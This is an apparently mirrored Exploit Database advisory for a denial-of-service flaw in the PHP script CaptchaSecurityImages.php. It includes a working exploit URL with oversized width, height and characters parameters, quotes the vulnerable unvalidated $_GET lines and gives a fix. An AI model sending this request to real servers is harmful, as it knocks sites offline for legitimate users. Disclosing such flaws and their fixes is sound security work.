PHP Captcha Security Images – Denial of Service

• Exploit Database
• 11 阅读

• 作者： cp77fk4r
  日期： 2010-02-11
• 类别：

  • dos
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11397/

• # Exploit Title: CaptchaSecurityImages.php Denial Of Service
  # Author: cp77fk4r | empty0page[SHIFT+2]gmail.com | www.DigitalWhisper.co.il
  # Software Link: http://www.white-hat-web-design.co.uk/articles/php-captcha.php
  #
  ##[Denial Of Service]
  (OWASP: The Denial of Service (DoS) attack is focused on making unavailable a resource (site, application, server) for the purpose it was designed. There are many ways to make a service unavailable for legitimate users by manipulating network packets, programming, logical, or resources handling vulnerabilities, among others. If a service receives a very large number of requests, it may stop providing service to legitimate users. In the same way, a service may stop if a programming vulnerability is exploited, or the way the service handles resources used by it.)
  #
  #Exploit:
  /CaptchaSecurityImages.php?width=13333337&height=13333337&characters=13333337
  #
  #
  The vuln code is: (lines 73-75)
  #
  $width = isset($_GET['width']) ? $_GET['width'] : '120';
  $height = isset($_GET['height']) ? $_GET['height'] : '40';
  $characters = isset($_GET['characters']) && $_GET['characters'] > 1 ? $_GET['characters'] : '6';
  #
  To fix it- delete all the "$_GET[x]" strings and make it constant, like this:
  #
  $width=100;
  $height=40;
  $characters=5;
  #
  #
  #[e0f]